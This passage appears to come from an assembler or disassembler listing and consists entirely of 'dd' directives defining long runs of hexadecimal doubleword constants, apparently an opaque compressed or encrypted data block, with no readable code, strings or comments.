		dd 0CD48071Eh, 1508E024h, 9AE7015Ah, 28164309h,	742F4E08h
		dd 0A000223h, 3DFEFD1Bh, 12132789h, 6D8C0C82h, 0B0E7E47Bh
		dd 2838AB80h, 3C8F035Ah, 0B54C0F74h, 262A52B0h,	32D36A13h
		dd 88A09C00h, 3B5EF0CAh
		dd 31E0B880h, 2BAECFCEh, 0E55DCB1Eh, 8CB26107h,	0AF5A31C0h
		dd 2F20164h, 5E157806h,	9209980Eh, 6CCF21h, 0EAF027F2h
		dd 6DA90DFCh, 9730567Bh, 311278C4h, 0F217801Ah,	908F303Dh
		dd 7D59D9h, 6FFFD17Ah, 3518FBD3h, 8CBDB33h, 1C210B43h
		dd 0BC00FFD9h, 0D6F8038Ah, 3908B218h, 61B733B8h, 3AD1296Ah
		dd 6819E7E5h, 5BD975D5h, 60D4DED0h, 3111132h, 0B828654Ch
		dd 9C849816h, 702C44h, 68404C0Bh, 0B939E3B2h, 0D67E3F05h
		dd 3F80D12Eh, 0F5670A31h, 1C8FF881h, 70D79969h,	8B337EBBh
		dd 12909BDh, 99617C21h,	0D0BAD93Eh, 0E7E8E404h,	0B427BE28h
		dd 240081F0h, 0F63B7549h, 0C1141EDFh, 8725DA18h, 67C4420Fh
		dd 11F26230h, 88480604h, 6AC98098h, 0F45670F2h,	7ED11105h
		dd 0B83AF1B7h, 0C9004023h, 0BEC1A2A8h, 0F2BDECAAh, 514F209h
		dd 8532DB51h, 0ECB40438h, 0B4330236h, 32C49048h, 0C32D400Dh
		dd 8612E3F8h, 41436C6h,	841964D0h, 0A10A7320h, 20A42844h
		dd 0CA508E77h, 48C6080h, 603F265h, 20996270h, 92F26DCEh
		dd 0FC6BFA29h, 0B7182DD1h, 0EB885400h, 9EF725D6h, 96639A7h
		dd 0E82F2Ah, 75E5B3D5h,	30EC54DBh, 0F861B227h, 329A0053h
		dd 0FE3EB4A0h, 6E3A63DDh, 88623205h, 4C0430D9h,	2E46B8F8h
		dd 77002522h, 3E354C0Ch, 26E7CEDh, 0FB305551h, 0B0A356D9h
		dd 0E0879536h, 0EBA8887Eh, 35154000h, 63EE041Eh, 84B504B0h
		dd 8256C24Ah, 0A22E37F0h, 3081ECFh, 0D1003A66h,	2FC623AFh
		dd 7F3CC1B0h, 0C7300C04h, 3B291822h, 1E79BA88h,	9482B16Eh
		dd 6223CC7Bh, 1F26701h,	10336006h, 0F26FCC80h, 0D00142A7h
		dd 8899907Bh, 0D489BCFEh, 0A8310831h, 0B5D5FC6Bh, 21226546h
		dd 990063F4h, 4205EE1Ah, 95D2F5Eh, 57514DDCh, 0E38C7821h
		dd 55202093h, 0BAC33803h, 3E3066EFh, 0A598D7D1h, 9E8B2870h
		dd 0F07DD180h, 0CCB179F0h, 9988FB1h, 996A048Ch,	626DB5D4h
		dd 627F2027h, 48078C99h, 7B19DB13h, 0A106FFF1h,	0F080B4EBh
		dd 0C71E53Eh, 9A57B4B1h, 29243279h, 6C007C18h, 0D800861h
		dd 1DB4986Bh, 4DD31538h, 0A4201C95h, 0CD0AE090h, 551C0825h
		dd 82813919h, 17C870h, 80DFBC4Fh, 65DCFF7h, 7DFCB918h
		dd 77A4BA80h, 8344C0Ch,	0D6016D23h, 0C3D368FFh,	1B884D18h
		dd 6AFF00DEh, 0A1FC09D0h, 4A02B2E4h, 0D5DF5724h, 0B7304B23h
		dd 2A402057h, 7EDD366Ah, 39AA0069h, 0C884DC26h,	1F657274h
		dd 0AC600CB8h, 23D1996Fh, 251145B5h, 99677A00h,	6BA99EA3h
		dd 57049B90h, 44B551DBh, 9327F8D2h, 674C388h, 4D0A5B08h
		dd 0B70A182Fh, 0B8971384h, 711AA502h, 0B4B50026h, 18C0BE47h
		dd 4BE712D7h, 0C030C0A4h, 1D2D3269h, 0E253489Ah, 3042A298h
		dd 8501B808h, 3A590AF4h, 509E12D1h, 295CD833h, 15313271h
		dd 7FB4693Bh, 6DB39189h, 8867BC24h, 0B0156148h,	50EC96B7h
		dd 58C66C0h, 605F263h, 0C8E40h,	1AF26BC8h, 99027C70h, 42B7E1E0h
		dd 0ABD9088Eh, 80BCE2ACh, 15027358h, 0ACB78017h, 9B92CF20h
		dd 3C07830h, 192C401h, 20D40E88h, 1CE52424h, 0C0292C2Ah
		dd 0D4EF9ADh, 5900F23Fh, 1E33BAA5h, 510E05C8h, 30BDF4DFh
		dd 0BDE9AB80h, 37B34FC7h, 0A55EA0Ah, 0B99C7Bh, 810CAABAh
		dd 0A07193FCh, 440B55ACh, 5861D52Dh, 89D63E79h,	0B9A69850h
		dd 0CC7D5898h, 11F54285h, 5A0590BCh, 12B533D8h,	0CCD00478h
		dd 0B1D0816Eh, 0CD50115h, 81A5993h, 480A1F40h, 50AC44B9h
		dd 560D864h, 0B82C634Ch, 76705426h, 14C760Dh, 0AD21C0F0h
		dd 0C0D53DF1h, 3630C7B8h, 0B7E96839h, 246C90C1h, 84782CA9h
		dd 1965B84h, 0CFC3ACDBh, 68638431h, 0E63025A2h,	0BAF6175Fh
		dd 3CF10326h, 0C823E703h, 4C0101DCh, 1806B867h,	9728824h
		dd 52794C13h, 39C57404h, 0A0F2CA04h, 90A6494Ch,	0B70DD46h
		dd 0EB8664Ch, 7300E09Ch, 755D4C08h, 1C810235h, 94C56A07h
		dd 892EE22h, 0C98D1D04h, 0FCD418A1h, 33EF120Ah,	877827B6h
		dd 61C8EDDh, 6138D5D7h,	0B2B87B2Eh, 0D3E52500h,	9A3B0308h
		dd 20B466Ch, 0B5D69968h, 1726317Dh, 949960B0h, 9A2105A4h
		dd 803D89A3h, 50D8C2C0h, 0ACA144B2h, 98D4186Fh,	93D371C4h
		dd 4111ACh, 70FFDC19h, 7CF9B716h, 0BAE9037h, 89045A81h
		dd 68198Ah, 0E4312AD7h,	96194EECh, 696840D8h, 0FF08D218h
		dd 0C4E3D36Ch, 0DA1F4047h, 3880F6FFh, 69033A44h, 0D5C3AEB7h
		dd 5434B5C9h, 68D48094h, 0D09FB09h, 401489A6h, 0B556F74h
		dd 0D43EE439h, 30EF1091h, 0AE409328h, 199F62B3h, 0BCC06E47h
		dd 9500806Dh, 1A349B5Dh, 4448308h, 86EE8D2Dh, 0DF148C37h
		dd 4C02048Ch, 8E1EB864h, 0A710340h, 0B0F0194Ch,	78256430h
		dd 20093D1h, 22211273h,	0D9FD1440h, 0C4045E02h,	0E76DAD57h
		dd 602A445Ch, 30C09423h, 0AE182B2h, 0C6735121h,	29FBF00h
		dd 0BE8AEE1Dh, 0DFBD0B60h, 43801E48h, 61E4A404h, 7BCE501h
		dd 20061F9Eh, 4A311074h, 18A87618h, 3A162125h, 6EF404A8h
		dd 6BFFD560h, 11DBD323h, 0DD007A46h, 96FEDFFFh,	1BCF953h
		dd 3A42C106h, 24CF8B80h, 0EA2C5058h, 4674EC8Fh,	0C9920020h
		dd 1608266Ah, 78A0031Eh, 8B07ACB5h, 0FFBCB014h,	8C21B82Ch
		dd 346E1500h, 56941D44h, 5CFD09A8h, 28652BD5h, 106793E4h
		dd 0B596DF5Ch, 231B0801h, 11B18032h, 54D92424h,	13879857h
		dd 5B4AF0h, 0D451233Dh,	9C0C067Ch, 0A134667Dh, 262400F6h
		dd 404218B6h, 0D0263D6h, 3EBF803Bh, 0EC44C858h,	3A5C0457h
		dd 0C4158AC7h, 638885E8h, 0AE8845ACh, 0B1108E3Bh, 8B245948h
		dd 0D10C405Ch, 0B330F2B7h, 0B227C987h, 0CC24009Ah, 4EE573DAh
		dd 0A0B835D4h, 14178120h, 90B8C65Ah, 61016423h,	500607F2h
		dd 0CA802C73h, 0C0EBF269h, 50AED331h, 17013BF1h, 51088E9h
		dd 3A641230h, 802D23D0h, 0F50E25EFh, 0FB0607DFh, 75ED3E28h
		dd 34557960h, 8E303048h, 0C02B88C0h, 11875533h,	0AC209098h
		dd 0EF301271h, 3680C2AEh, 0C05CED12h, 0E6FC7188h, 0BAEB9600h
		dd 9C89BEA8h, 0B268C27Eh, 78408F9Bh, 6180984Bh,	45C4B856h
		dd 0A2003350h, 7D66304Ch, 0BD5AAD00h, 0F7BCEF83h, 81A6081Bh
		dd 50004614h, 3E384EACh, 0E42A54DEh, 10A91870h,	0E557204Dh
		dd 0D83F500Ch, 0E15955h, 42480D23h, 6A02F553h, 0FEC2AE03h
		dd 9A9F45Ah, 34891290h,	3491F0E6h, 0C2184271h, 97F683Ah
		dd 21BB6790h, 62BA8098h, 3063F035h, 0DE3126A2h,	0BF951CCh
		dd 99C78CB7h, 54D63024h, 0E632378h, 604F266h, 20946268h
		dd 0FFF26ECDh, 7A4B7207h, 45508F06h, 7FA351DBh,	0B7871243h
		dd 0C818CBF1h, 733EC04Eh, 344BC11Ah, 0A0F01474h, 0EC808235h
		dd 0B05A57D1h, 0AF33AC06h, 0F22951D9h, 0D67E0071h, 61DB7027h
		dd 4809BFFAh, 405AD7B8h, 7BFBD10Ch, 848550B4h, 40743849h
		dd 0E19EB318h, 2B007613h, 7F02CB70h, 1794350h, 0EC9C0F81h
		dd 6C118FEh, 6B3F2D2Ch,	0DB02043Eh, 4215741h, 3A59308Dh
		dd 4A193D21h, 4C46741Ch, 44E96D0Ah, 0D28E92F0h,	3C6A11F4h
		dd 29440C47h, 0B8684D60h, 87FEEF27h, 0BAE21F98h, 4420C7A1h
		dd 67626096h, 32351779h, 231C3A11h, 35410128h, 8983BB8Ch
		dd 0E80B55E0h, 2484B7E0h, 916C8DD7h, 0CDDF009Ch, 8BC2FBDEh
		dd 0BBCA0032h, 4BC853FAh, 0E61E3EACh, 0B288E0CCh, 0DCEC8086h
		dd 4A20A544h, 898EEB09h, 63ECC8D4h, 9C770004h, 0AB1D3D39h
		dd 1AFCE0BBh
		dd 85331900h, 0E9164831h, 3DF60BBDh, 0F0836386h, 0A100360Eh
		dd 48DBA5Ch, 3B51EAh, 555065DCh, 0DFB8CE38h, 8422AA2Dh
		dd 84B2C584h, 743028F2h, 3A9B1C6Ah, 32D18433h, 0B0A09771h
		dd 1BEAD718h, 33127C92h, 1C5C5FB3h, 4CE30E82h, 83E8B72Ch
		dd 0DC39F44Ah, 1BD500A7h, 34B470A2h, 2109E08h, 43088184h
		dd 9B58BC78h, 50CC1030h, 895EDA19h, 0BCF06C5Ah,	99008C9Ah
		dd 25F83E7h, 0B0511AF6h, 284D27B4h, 927F78A2h, 0B9023B00h
		dd 784F623Ch, 1B204AD8h, 3E0A777Bh, 7100EFF4h, 504F8EB1h
		dd 0D47F189Ah, 2932D316h, 0F06C3483h, 7C4AF6B9h, 188B0039h
		dd 0C4FCBDB0h, 0E55E75D5h, 2423B03Ah, 82D3ED09h, 7A26BD78h
		dd 5E249CE0h, 53184F46h, 8ECFE811h, 343B712Eh, 12A4674h
		dd 1701A097h, 74D41A6Ch, 80F896D4h, 0D67762D8h,	923DE8D1h
		dd 0C0B4C84Bh, 0A2B9EE4Eh, 0F9855h, 69B5548Bh, 651605FDh
		dd 1B6D9E05h, 0BCA00436h, 0C8B9B2h, 99E42595h, 4512263Bh
		dd 0ED008021h, 576D1F05h, 637D09D1h, 0F4E5CA61h, 0D36094E4h
		dd 35037FABh, 0BA280784h, 0A533BBD1h, 0D04220E5h, 0BCB5203Ah
		dd 0C0998BAFh, 51D85C04h, 0C0630747h, 144EFE27h, 82024B79h
		dd 86C7BAECh, 0EE744113h, 7502BC68h, 9817A4C3h,	46D908D1h
		dd 0A6000418h, 9D0E1F87h, 17AF80D3h, 0C0B5325Bh, 81ACB1E8h
		dd 36C2F517h, 40238C3Ah, 0D8F25300h, 1EFE4EA7h,	0E73EC5D7h
		dd 8106F8A0h, 0CE814104h, 708453EEh, 4826E8E0h,	0B90608C7h
		dd 7E506B14h, 15321860h, 0D862C811h, 30BC094Dh,	0D25AA1B2h
		dd 52DC3ABDh, 7684C2ACh, 0EB024D46h, 62B7E137h,	6E5A7CF0h
		dd 8B16F43Ch, 16B6823h,	0D36EFFD0h, 0D44EF3h, 62FFD81Dh
		dd 9D5ECCh, 5B9E9B2Eh, 0E512D1E4h, 612C41h, 4202807h, 0F0B9B0C4h
		dd 89B4A83Dh, 3A7140A8h, 2780813Fh, 11E01FABh, 0EBA38126h
		dd 88701469h, 12FB0085h, 0EF8FE7B2h, 0F0C75DCFh, 47896CB5h
		dd 674764A8h, 0A6BCF1D0h, 38C20079h, 6F78858h, 0F0A870A1h
		dd 31C213D8h, 0EA013279h, 5AB4C0D4h, 0D0E8A25Ch, 2F314A54h
		dd 14C230Ch, 0D5759FA5h, 34F9A627h, 682BFE0Bh, 8C893128h
		dd 42E7300Ch, 1A022019h, 0A847E8A1h, 2B79A479h,	61EC8618h
		dd 0E4585C09h, 84513Ah,	188847ABh, 570FE0F6h, 0E078F241h
		dd 9F253E85h, 9ADA1EF5h, 4C680Ch, 0CFC70B7Fh, 0E251F1Dh
		dd 0A458CEE6h, 578489Ch, 0F3B4B57Ch, 28A05C95h,	8B9928C7h
		dd 4FEF43E0h, 7A1D546Ah, 9127402Ah, 82D7954Fh, 33EF7209h
		dd 20B046B1h, 3D19340Dh, 3B89A38Ch, 0CBD78C2Ch,	0C02BC8E4h
		dd 0D4035096h, 0F6F0FC12h, 7D141C04h, 0DD0A491Dh, 7449488h
		dd 52B55979h, 0A4E8672Ch, 0CA70B7BEh, 0A16CD717h, 0C887DCDBh
		dd 51DA90F3h, 0A127A40Ch, 6A040184h, 4620A55h, 33180F3Fh
		dd 6F66F988h, 7C48354Eh, 996EC00Dh, 4D4AB5D0h, 17B582Ch
		dd 330F9966h, 2B3FA98Eh, 0E363C04h, 0CE4C6905h,	0C0268818h
		dd 0B359F276h, 232070B8h, 0FEBE0496h, 0B2828733h, 3198F2E4h
		dd 49A37011h, 1C03A58h,	5D55D1C1h, 18335C8Bh, 53042F2h
		dd 0F8867DE8h, 1D1A12D3h, 0B3DCD239h, 8778B852h, 0D71FC676h
		dd 36040666h, 11403ED5h, 71839D2h, 81DC5300h, 7973FA1Dh
		dd 4F5D2DD1h, 5D8544A9h, 0C8E40E6Fh, 0E6DE78A5h, 2EA1E094h
		dd 0F4477677h, 671912D7h, 95880476h, 636D0014h,	5817D105h
		dd 4FE818E9h, 3654018Ch, 3A636CDFh, 76BC7D67h, 0CB176D00h
		dd 942009F7h, 0E9C112FEh, 0D89A0010h, 3B68DD04h, 8E0D8001h
		dd 6B8461A8h, 25B58420h, 0DC177E2Dh, 0C3809591h, 7021FE74h
		dd 0B0030D74h, 55AEEBB5h, 8889C803h, 51A8A253h,	60BC7B44h
		dd 48E524E3h, 0E4C7C98h, 5B1CA90Dh, 0BC5C3850h,	24038C29h
		dd 0E080EA8Eh, 3066E181h, 0B0159C53h, 0D87638h,	32FC0274h
		dd 0DA846BBFh, 81E84149h, 0BE1B8CB7h, 6F940005h, 0F864ACB0h
		dd 0D16AE81Ch, 0C555001h, 30B93363h, 82C98E09h,	5402A829h
		dd 2CDB7418h, 46744024h, 66AB0047h, 0D4BF6942h,	19480F3Eh
		dd 3A9204EDh, 292358h, 0E69949C5h, 0B213F03Fh, 30046A8Bh
		dd 0D00B3086h, 82E96460h, 0A433170Bh, 112C9DE4h, 20028E2Ch
		dd 4394D865h, 0AC990214h, 93AD330h, 3B6474E9h, 32E2C6Eh
		dd 8D2700C5h, 82F9417Fh, 4A55EE38h, 6CA4F4D5h, 159786AFh
		dd 80259144h, 6A987B6Fh, 0B0E25908h, 0FFB41504h, 88E30687h
		dd 7974B971h, 78021899h, 0AF51019Fh, 0D950EA04h, 0A0E0774Eh
		dd 5B18CDCh, 17840FE3h,	2284B3A7h, 555254Bh, 3FD49C48h
		dd 32ED41C0h, 45A0A9h, 51D494Fh, 9319557Bh, 0B98E8D09h
		dd 6EE84178h, 1E52870h,	0D569DBC9h, 3E8FB8E1h, 29FF8022h
		dd 2971D47Bh, 69C303Eh,	58598CA9h, 8CDB4AB0h, 28BA9481h
		dd 0EBA5F0FEh, 690254BBh, 1180532h, 2DD83E6Dh, 0BF801260h
		dd 716E0090h, 0BE33254Ch, 1806F891h, 699541E3h,	597B89B4h
		dd 1825F1B8h, 0E4570243h, 6FD813B3h, 4FE4A0C7h,	80D66360h
		dd 0E5C08B03h, 98B0423Bh, 6466FC04h, 0B02BC6D1h, 0EF3CBAA4h
		dd 200FDA26h, 808201FFh, 801733B3h, 0F08906A2h,	0E4917F4Bh
		dd 3081211Ah, 61B62F1Eh, 52209004h, 3D60C477h, 0CD9A2234h
		dd 7FCDE034h, 0FD017302h, 0DF38FFDBh, 5D2E12DEh, 9C9E2DCCh
		dd 0C7B82C69h, 60474484h, 0C76F1Bh, 0B0B3F421h,	70604471h
		dd 926CB959h, 2B00586Bh, 0ECD75603h, 4D04E56Bh,	80B23F90h
		dd 13151740h, 0FB076D7Eh, 0E483E838h, 475E6AF0h, 0C3B37825h
		dd 0C53B4B29h, 89770C90h, 613F602h, 0F3D0E821h,	0D035A500h
		dd 0D5C16501h, 0DDE81034h, 0CE0A2C45h, 80B416C2h, 8BD33EB8h
		dd 2C83E988h, 52D028B7h, 2811FC97h, 9021809Eh, 0D379E2CBh
		dd 245D0A27h, 0C560B080h, 227D3A1h, 650C0B61h, 6025E400h
		dd 64F3BD1h, 0D82383DDh, 7300614Bh, 3EB6DA21h, 0A346C6h
		dd 0FD39B756h, 0C324B094h, 5C735709h, 3C4451h, 0F40C4CAh
		dd 81364D55h, 505CD81Fh, 0DCF40E80h, 0DEB680A5h, 0EE1EBE79h
		dd 3BF30BFAh, 95E44445h, 0F8352860h, 4F8CC909h,	96D8028Eh
		dd 0A5660422h, 0BBD3EC04h, 94AB7C07h, 16D027D5h, 1C2BC95h
		dd 0AD718D8h, 3A83DA3Eh, 4D94CC21h, 4EE7BA00h, 9AC2749h
		dd 0F96B3283h, 0A5B3006Ch, 0A726A158h, 9529537Eh, 0F11C019h
		dd 0D2996C80h, 875DB5h,	34996479h, 7012E66Fh, 18081D10h
		dd 4C07C0DAh, 365CB861h, 0C4A8E55Ch, 0D08E6E02h, 0E098A9DDh
		dd 1600AFF6h, 9FB5FB03h, 1D06ED6h, 0B77037EEh, 30CDD23Fh
		dd 4140F450h, 77ED013Eh, 70ACD0D5h, 88444BC3h, 1A21C02Dh
		dd 4A0EBD0Bh, 61A8B576h, 3566A1BAh, 75C2F180h, 2CBFBC98h
		dd 0A4E88405h, 8B89BBAh, 9D8C9ABCh, 0F5842405h,	0E9B0215Ch
		dd 35D60722h, 38839D99h, 185E3601h, 5727906Eh, 0B230ACE6h
		dd 9555899Dh, 0F78001Ch, 0E4F6441Bh, 0AF02C413h, 0AA75284Ch
		dd 0D76CC06Ah, 44265F8Eh, 524FBA14h, 2C0144F2h,	9226E83Ah
		dd 9773FCEDh, 8BCD9000h, 0FDEB47A0h, 0CFB71D1Fh, 25B8240Ah
		dd 2C00F0C4h, 552D8791h, 6AE61A7h, 0F229C947h, 0CF1078C2h
		dd 3B743BEEh, 535FFEB6h, 0F2B0F284h, 24B3096h, 1FEE8300h
		dd 938C376Eh, 0B9AC9A91h, 1820D124h, 0ABA00083h, 1924FAA1h
		dd 8195B221h, 3016D73Ch, 0C0179ECCh, 44B902C0h,	0A09671BAh
		dd 3DE05DEh, 0C9D521B3h, 391BE8F0h, 16D3CF0Fh, 8807C01Ch
		dd 487E99D8h
		dd 0F017F849h, 0D3AC80B1h, 809FD532h, 0B361ACB0h, 625A8085h
		dd 0EE934C00h, 5174D5F4h, 1CA1E0A2h, 2C81063Ah,	0E71882FCh
		dd 68F12722h, 91349727h, 114B804Ch, 6ED85C9Eh, 0ECA01950h
		dd 0A6BFF8EAh, 4A2E93Dh, 2B8C1563h, 0AC24C4A1h,	0C2CF25CEh
		dd 0B9802002h, 53D88090h, 3A9249C0h, 40D48Ch, 0C90C9E94h
		dd 20EAA102h, 0ECEC7158h, 280E114h, 0C7C35141h,	660ED3FFh
		dd 0C9EDEBBFh, 0FA798185h, 56C06A07h, 310361E8h, 0C8C35E20h
		dd 240C7489h, 8448104h,	4621C019h, 2FCC356h, 9D08860Fh
		dd 0BE6600D6h, 3D5EAEF1h, 28E654E9h, 5DE031E8h,	7FED8100h
		dd 0F07FEE0h, 1B066084h, 5CD9D09h, 0BD8188C3h, 780CCEB9h
		dd 0F20C1D0h, 0B2017E86h, 3153A80Ch, 898B305Bh,	40545C52h
		dd 5301437Ch, 9D8BA0C3h, 588E2AF9h, 8187BF0Fh, 60570CE3h
		dd 98D8B0Ch, 6612002h, 850FDB0Bh, 0E93047A2h, 7C4F0B0Dh
		dd 0D0C9093Bh, 0A60A4965h, 69B30304h, 0DE93BD83h, 84B4DE63h
		dd 5722843Eh, 0E4C35F30h, 807C4389h, 6C35747h, 439D68E9h
		dd 154674CFh, 0C7506F05h, 14B0A85h, 87519127h, 8922C359h
		dd 2617314Ch, 77007B1Eh, 0B70F4B3Fh, 0C54FE9FBh, 200BE81Fh
		dd 17BCA3E4h, 6052F70Eh, 453C65BBh, 5FF3B705h, 8D0A4527h
		dd 41C467Eh, 5E555DA9h,	0D54355C0h, 85890A75h, 0DF1E9Dh
		dd 0D99CBE51h, 8DE4375Eh, 7C85FCA6h, 5C601CC4h,	0BD3F10CBh
		dd 9845035Bh, 8E90Ah, 68BBA623h, 0BE820E1Fh, 2381B307h
		dd 752EFEFFh, 7DF8BCDAh, 0ADE1C1Bh, 294A4751h, 0D2215995h
		dd 4BDB8C66h, 0C01D8863h, 0F0D1576Eh, 40832803h, 5B6897h
		dd 0EBB1C568h, 0A1BD0122h, 24F61440h, 116104C3h, 98033F54h
		dd 0FF1E24F1h, 17213195h, 8012E80Ch, 5E49D023h,	76E690A5h
		dd 86DD0041h, 0AC0BE11h, 6A0381AEh, 0B5850970h,	5E3A1312h
		dd 8440050h, 2404895Ch,	0C352D8C8h, 0F497C35Ah,	201A6254h
		dd 97C35242h, 7821A200h, 0E98CD15Bh, 2741D1FDh,	0FB007AACh
		dd 0A92E0315h, 33B58B39h, 0B0B02135h, 7BF68180h, 6F23000h
		dd 0B52970E6h, 0E4CEA8EDh, 0D1679171h, 0E01819h, 0B5111FF1h
		dd 0D8B60F5Fh, 18D11D91h, 90042E18h, 0BA69EFC9h, 0C60ADC8h
		dd 0FE9FD8Ah, 0AD003C11h, 27C05149h, 0E74335h, 0C8EEFA94h
		dd 896160BFh, 13DD8D18h, 81C38BD2h, 0F75D1855h,	916C89C8h
		dd 5545C062h, 0E25023C3h, 0ED020296h, 0E8C1349Ah, 51A78204h
		dd 0F7660118h, 882F4BE2h, 600FC018h, 202A3E5Eh,	5046962Bh
		dd 89C3581Ch, 0AE9C4489h, 0C3504000h, 0F28B6680h, 0E7574893h
		dd 0A0432AC7h, 7B860776h, 3452E348h, 60822A52h,	443EC793h
		dd 0B36B6018h, 84DE13A8h, 29540451h, 0FE5F0B0Ah, 4B06127Eh
		dd 7C12B5ABh, 1611249Dh, 0BF401B83h, 0D2F8AE24h, 16012D08h
		dd 24417AB0h, 0B51A08E4h, 81798797h, 0BB042C33h, 4595F00Eh
		dd 37F9111h, 399BD8Bh, 613C1001h, 236830Fh, 0D1D350A1h
		dd 3561816h, 8529B751h,	58790D01h, 1C519293h, 93009F18h
		dd 0BAB06490h, 91A58E3Ah, 0AD78A896h, 914FE427h, 8105E971h
		dd 55DEDB19h, 7525B451h, 90FF9A30h, 0D14C9158h,	87C0191Bh
		dd 9B1D026Eh, 58ED7EADh, 1511E99Dh, 0D0772E87h,	41BDE3DFh
		dd 0F927961h, 0E756288h, 0B30E1523h, 0F74034A9h, 7CB6D0A4h
		dd 802F5000h, 0B9CE58EAh, 0C873E107h, 0A2301BE2h, 4C381C9Dh
		dd 7D12C1h, 29F781B2h, 73F58358h, 3016B278h, 0DE03CE9Dh
		dd 860FD93Bh, 58F85F8h,	0E9C41488h, 0B9C110C4h,	7F6033D9h
		dd 0C1F68025h, 0A5458EB2h, 222289D9h, 0B1018A50h, 0B8BE6094h
		dd 702E0ADBh, 0DE7A5Bh,	1565A4EAh, 767E14CDh, 0E69A1B50h
		dd 2BBDD609h, 21AF82C3h, 343D0126h, 869D8B08h, 91FB9F51h
		dd 0F664801Ah, 4E1F487h, 0BD0BA8CDh, 81E2D019h,	13798CE7h
		dd 41E94914h, 8C16FCB7h, 0B82C1505h, 0FD6FC08Bh, 9A650309h
		dd 87F1B304h, 6BD825E4h, 0A0720225h, 668C0F82h,	11B5250Ch
		dd 85C74F80h, 0FF801DD9h, 7BDF0157h, 0CF88FBEh,	37C0A532h
		dd 0A0392150h, 0EE2209ADh, 886772CEh, 2D28850Dh, 0FFF0F48Fh
		dd 0EF5D1334h, 4B1662B8h, 44297699h, 1CE2D032h,	11D4730h
		dd 74C9373Ah, 606BE220h, 0C69910Dh, 104DB354h, 2B032918h
		dd 26789D90h, 0BF10B8Bh, 0A52149B5h, 0A8E9BD23h, 5690C86Fh
		dd 0A1600CCEh, 16F086F7h, 0F994C0DAh, 736174F5h, 0D1CB91CFh
		dd 0CEF1818h, 1DAAC45Ch, 196E01CCh, 0B86774D9h,	0B8008C1Dh
		dd 0CC4CB56Ch, 7817E7h,	0EE81B4C1h, 1C080137h, 1F08B3Ch
		dd 9A2ABECEh, 4FD0F2Ch,	0BF8443A5h, 0C0C19BE8h,	89439508h
		dd 75A14DB5h, 228A0F12h, 0F452E912h, 2CE3EA00h,	460BE84Eh
		dd 0AB550098h, 9390B89Fh, 42315B73h, 1BF94662h,	0E59F0405h
		dd 0AE9062Dh, 3D5F0047h, 0D82A268Eh, 2C3F94C1h,	0F7E68E29h
		dd 613A32FFh, 5E061423h, 0EE1313E9h, 764C3C57h,	80DC8A9Fh
		dd 0DB4FFD6Dh, 0A04A89Fh, 0B9F11206h, 5314C92h,	0AD1F4060h
		dd 0BBF7C603h, 0A6B2EB00h, 17A48C34h, 45D790Fh,	0A84574CCh
		dd 0CAF4B1B9h, 0ACE0C560h, 8D21B60Bh, 0F88AA64Dh, 0C39200Eh
		dd 25BD8927h, 134F8B51h, 23016929h, 0B4E18388h,	2B02EF82h
		dd 2355E60Eh, 0E19D1478h, 25C81717h, 17D1D8A9h,	0A32C4918h
		dd 9D0C637Ch, 3B61A3BDh, 9EF80960h, 90762289h, 0DAF96238h
		dd 0A50A2891h, 8589D801h, 12B234D1h, 7350E51Eh,	0A078FDB3h
		dd 24C94974h, 398A0722h, 90E07ECDh, 0A662B676h,	8B12E19Ch
		dd 0D6CE58ACh, 14AEE5B9h, 341C8095h, 28E61D35h,	0F799AAE0h
		dd 6F8140Fh, 0E9A92790h, 0F5C58058h, 7A687013h,	0CAE2810Eh
		dd 0C81C8A46h, 392CC223h, 0DD0A096Ah, 0F942BC02h, 0C4DE672Ah
		dd 7BD46019h, 2B1000C9h, 74DF813Ah, 7676B3AFh, 985D006h
		dd 20662547h, 50481D95h, 94FE017Dh, 8B5868F2h, 151D4155h
		dd 3969B29h, 8BC15931h,	0A0022355h, 0A41C36CFh,	60491417h
		dd 0BE21EEE1h, 84CCD955h, 281D2461h, 0BB660A91h, 6595A282h
		dd 58C8223h, 0DE628F92h, 2D8921BDh, 797E22DAh, 0A4E90511h
		dd 251E1C7Eh, 0BC803C74h, 2415629Bh, 74E6DA0Fh,	1C11859Fh
		dd 97B1480h, 0EC0A9DEEh, 0A9B6C03Ah, 7901FA79h,	21CA0811h
		dd 691AFEBh, 39BD290Eh,	0CEF424F2h, 0E01C8818h,	91805CCBh
		dd 12E70F0h, 552C8E8Ah,	117A1752h, 0F0EE801Ah, 28F6EFh
		dd 0C1818C59h, 4E32BF9Bh, 7CD08009h, 116F1D61h,	29988216h
		dd 1D746122h, 950B01D6h, 28783CF9h, 0E9FC88EBh,	0E85F32D0h
		dd 48008C1Dh, 4F38E649h, 2996026Ch, 0D1B2F682h,	0ECB1817h
		dd 8BE1C10Fh, 8F4FEB62h, 0ABFA3340h, 0C6A10803h, 0D0A4ACDAh
		dd 0E25CD2D4h, 0ECEE0E4h, 1BF53134h, 29B327A2h,	0DD5BCB60h
		dd 0E62AC70Fh, 0DF9E9F17h, 0A6DB6784h, 87E80150h, 52DDB401h
		dd 9ED92023h, 4C12E6C2h, 16F88C11h, 4CB6EE8Ch, 0F510FA6Ah
		dd 10C7B1Ah, 0E2725BDh,	4583775Ah, 2E8370ADh, 0B8D12F86h
		dd 15912C1Fh, 0C2A3DA83h, 0D820BFFh, 0CC0E2D95h, 44D17AC0h
		dd 9677516h, 83183512h,	53501374h, 0D0B82C17h, 9D8DCA40h
		dd 5FD3DAEh, 5BD3FF07h,	111C6258h, 0FB621A08h, 0BD2B303Ch
		dd 30179920h, 0AEB50EE8h, 303A336h, 1E9B985Ch, 2613B0A8h
		dd 89DB0B85h, 6DA62995h, 27E2CE59h, 45FDF184h, 858D8581h
		dd 21FEEC63h, 1575DC87h, 52C45081h, 6631020Fh, 5A9AA0BFh
		dd 24047D40h, 0CA78BF93h
		dd 84415CAEh, 5C34E910h, 90D031C3h, 610326D5h, 88209222h
		dd 8EB77h, 0F60D09C8h, 0AB7C5FBEh, 0E4060403h, 33905A88h
		dd 0CF505048h, 0BA98CBDh, 0BB627901h, 95FF7754h, 934C50C6h
		dd 5D7B784Dh, 0A8D13F05h, 8D03FB3Ch, 5B8BC52Dh,	7C3A6E2Dh
		dd 0B9D4702h, 0C1FE03E5h, 0FFA44B77h, 4D0ADE1Bh, 0AE574AB3h
		dd 0B008244Ch, 922C1E08h, 8B224F0h, 703214D5h, 0A9B6225Fh
		dd 0C34B249h, 501E8B8Dh, 7152C6C8h, 9471241h, 3F74E5B5h
		dd 39CF0768h, 0CDE8B4E7h, 9D36C035h, 72D9E400h,	0BAB53415h
		dd 1EDD737Dh, 47815965h, 0A69E1D24h, 13969660h,	428DC94Eh
